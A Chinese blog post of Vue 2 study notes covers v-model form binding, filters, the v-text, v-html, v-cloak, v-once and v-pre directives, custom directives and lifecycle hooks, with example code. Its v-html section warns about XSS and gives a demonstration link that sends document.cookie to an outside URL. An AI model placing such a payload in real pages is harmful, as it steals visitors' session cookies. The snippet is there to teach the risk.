vue2(4)

最新推荐文章于 2024-08-22 14:32:34 发布

花京院嚯

最新推荐文章于 2024-08-22 14:32:34 发布

阅读量156

点赞数 1

分类专栏： vue2 文章标签： javascript vue.js 前端

本文链接：https://blog.csdn.net/m0_62520946/article/details/126385934

版权

vue2 专栏收录该内容

16 篇文章 0 订阅

订阅专栏

收集表单数据

若：<input type="text"/>，则v-model收集的是value值，用户输入就是value值

若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值

若：<input type="checkbox">

没有配置input的value属性，那么收集的就是checked（勾选或未勾选，是布尔值）
配置input的value值属性：

v-model的初始值是非数组，那么收集的就是checked（勾选或未勾选）
v-model的初始值是数组，那么收集的就是value组成的数组

备注：v-model的三个修饰符：

lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>

</head>
<body>
    <div id="root">
        <form @submit.prevent="demo">
            <!-- 用了label后，就绑定了input和账号，点账号就可以聚焦input -->
            <!-- <label for="demo">账号</label> -->
            账号：<input type="text" v-model.trim="userInfo.account"><br><br>
            密码：<input type="password" v-model="userInfo.password"><br><br>
            年龄：<input type="number" v-model.number="userInfo.age"><br><br>
            性别：
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
            爱好：
            学习<input type="checkbox" v-model="userInfo.hobby" value="study">
            打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
            吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
            <br><br>
            所属校区
            <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shenzhen">深圳</option>
                <option value="wuhan">武汉</option>
            </select>
            <br><br>
            其他信息：
            <textarea v-model.lazy="userInfo.other"></textarea>
            <br><br>
            <input type="checkbox" v-model="userInfo.agree">
            阅读并接受<a href="javascript:;">《用户协议》</a> <br><br>
            <button>提交</button>
        </form>
    </div>
</body>
<script>
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    new Vue({
        el:'#root',
        data:{
            userInfo:{
                account:'',
                password:'',
                age:'',
                sex:'female',
                hobby:[],
                city:'beijing',
                other:'',
                agree:''
            }
           
        },
        methods:{
            demo(){
                // alert(1)
                // console.log(this.account);
                console.log(JSON.stringfy(this.userInfo));
            }
        }

    })

</script>
</html>

过滤器

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）

语法：

注册过滤器：Vue.filter(name,callback)或 new Vue(filters:{})
使用过滤器：{{xxx|过滤器名}}或v-bind:属性="xxx|过滤器名"

备注：

过滤器也可以接收额外参数，多个过滤器也可以串联
并没有改变原本的数据，是产生新的对应的数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    <script src="dayjs.min.js"></script>
</head>
<body>
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <!-- 计算属性实现 -->
        <h3>现在是：{{fmtTime}}</h3>
        <!-- methods实现 -->
        <h3>现在是：{{getfmtTime()}}</h3>
        <!-- 过滤器实现 -->
        <h3>现在是：{{time|timeFormater}}</h3>
        <!-- 过滤器实现（传参） -->
        <h3>现在是：{{time|timeFormater('YYYY_MM_DD')|mySlice}}</h3>
        <h3 :x="msg |mySlice">尚硅谷</h3>
    </div>
    <div id="root2">
        <h2>{{msg|mySlice}}</h2>
    </div>
</body>
<script>
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    // 全局过滤器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })
    new Vue({
        el:'#root',
        data:{
            time:1621561377603,//时间戳
            msg:'你好，尚硅谷'
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getfmtTime(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        filters:{
            // 局部过滤器
            timeFormater(value){
                return dayjs(value).format('YYYY年MM日DD日 HH:mm:ss')
            },
            mySlice(value){
                return value.slice(0,4)
            }
        }

    })
    new Vue({
        el:'#root2',
        data:{
            msg:'hello!atguigu'
        }
    })

</script>
</html>

回顾学过的指令

v-bind	单向绑定解析表达式，可简写为:xxx
v-model	双向数据绑定
v-for	遍历数组/对象/字符串
v-on	绑定事件监听，可简写为@
v-if	条件渲染（动态控制节点是否存在）
v-else	条件渲染（动态控制节点是否存在）
v-show	条件渲染（动态控制节点是否展示）

v-text指令

作用：向其所在的节点中渲染文本内容

与插值语法的区别：v-text会替换数据中的内容，{{xx}}则不会

<body>
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>
</body>
<script>
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    new Vue({
        el:'#root',
        data:{
            name:'guigu',
            str:'<h3>你好</h3>'
        }

    })

</script>

v-html指令

1.作用：向指定节点中渲染包含html结构的内容

2.与插值语法的区别：

v-html会替换掉节点中所有的内容，{{xx}}则不会
v-html可以识别html结构

3.严重注意：v-html有安全性问题

在网络上动态渲染任意HTML是非常危险的，容易导致XSS攻击
一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！

<body>
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
</body>
<script>
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    new Vue({
        el:'#root',
        data:{
            name:'guigu',
            str:'<h3>你好</h3>',
            // str2:'<a href=javascript:alert(1)>兄弟我找到你想要的资源了，快来！</a>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>'

        }

    })

</script>

v-cloak指令（没有值）

本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
使用css属性配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

<style>
        [v-cloak]{
            display: none;
        }
    </style>
<body>
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
</body>
<script>
    console.log(1);
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    new Vue({
        el:'#root',
        data:{
            name:'atguigu'
        }

    })

</script>

v-once指令

v-once所在节点在初次动态渲染后，就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

<body>
    <div id="root">
        <h2 v-once>初始化的n值为：{{n}}</h2>
        <h2>当前的值为：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    new Vue({
        el:'#root',
        data:{
            n:1
        }

    })

</script>

v-pre指令

跳过其所在节点的编译过程
可利用它跳过，没有使用指令语法，没有使用插值语法的节点，会加快编译

<div id="root">
        <h2 v-pre>Vue很简单</h2>
        <h2 v-pre>当前的值为：{{n}}</h2>
    </div>

自定义指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>

</head>
<body>
    <!-- 需求：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍 -->
    <div id="root">
        <h2>{{name}}</h2>
        <h2>当前的n值是： <span v-text="n"></span></h2>
        <h2>放大10倍后的n值是：<span v-big="n"></span></h2>
        <button @click="n++">点我n++</button>
        <!-- 需求：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input
        元素默认获取焦点 -->
        <hr>
        <input type="text" v-fbind="n">
    </div>
</body>
<script>
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    new Vue({
        el:'#root',
        data:{
            name:'atguigu',
            n:1
        },
        directives:{
            big(element,binding){
                // console.log('big');
                element.innerText=binding.value*10
                // console.log(element,binding);
            },
            fbind:{
                // 指令与元素成功绑定时（一上来）
                bind(element,binding){
                    element.value=binding.value
                },
                // 指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                // 指令所在的模板被重新解析时
                update(element,binding){
                    element.value=binding.value
                }
            }
        }

    })

</script>
</html>

big函数何时会被调用？

指令与元素成功绑定时（一上来）
指令所在的模板被重新解析时

注意：指令里面的回调函数this指向的是window

自定义指令总结

1.定义语法：

1）局部指令：

directives:{
            big(element,binding){
                // console.log('big');
                element.innerText=binding.value*10
                // console.log(element,binding);
            },
            fbind:{
                // 指令与元素成功绑定时（一上来）
                bind(element,binding){
                    element.value=binding.value
                },
                // 指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                // 指令所在的模板被重新解析时
                update(element,binding){
                    element.value=binding.value
                }
            }
        }

new Vue({directives:{指令名:配置对象}或new Vue({directives{指令名:回调函数}

2)全局指令：

Vue.directive("big", function (element, binding) {
      // console.log('big');
      element.innerText = binding.value * 10;
      // console.log(element,binding);
    });

    Vue.directive("fbind", {
      // 指令与元素成功绑定时（一上来）
      bind(element, binding) {
        element.value = binding.value;
      },
      // 指令所在元素被插入页面时
      inserted(element, binding) {
        element.focus();
      },
      // 指令所在的模板被重新解析时
      update(element, binding) {
        element.value = binding.value;
      },
    });

Vue.directive(指令名，配置对象）或Vue.directive(指令名，回调函数）

2.配置对象中常用的3个回调：

bind：指令与元素成功绑定时调用
inserted：指令所在元素被插入页面时调用
update：指令所在模板结构被重新解析时调用

3.备注：

指令定义时不加v-，但使用时要加v-：
指令名如果是多个单词，要使用kebab-case命名方式，多个单词用“-”分隔开来，不要用camelcase（驼峰）命名

生命周期

引入

又名：生命周期回调函数、生命周期函数、生命周期钩子
是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数
生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的
生命周期函数中的this的指向是vm或组件实例对象

<body>
    <div id="root">
        <h2 v-if="a">你好啊</h2>
        <h2 :style="{opacity}">欢迎学习Vue</h2>
    </div>
</body>
<script>
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    new Vue({
        el:'#root',
        data:{
            a:false,
            opacity:1
        },
        // Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
        mounted() {
            console.log('mounted',this);
            setInterval(()=>{
                this.opacity-=0.01
                if(this.opacity<=0)
                this.opacity=1
            },16)

        },

    })

</script>

挂载流程

<body>
    <div id="root">
        <h2>当前的n值为{{n}}</h2>
        <button @click="add">点我n+1</button>
    </div>
</body>
<script>
    Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    new Vue({
        el:'#root',
        // template:'<div><h2>当前的n值为{{n}}</h2><button @click="add">点我n+1</button></div>',
        data:{
            n:1
        },
        methods:{
            add(){
                this.n++
            }
        },
        beforeCreate() {
            console.log('beforeCreate');
        },
        beforeMount() {
            console.log('beforeMount')
            console.log(this);
            debugger;
        },
        mounted() {
            console.log('mounted');
        },

    })

</script>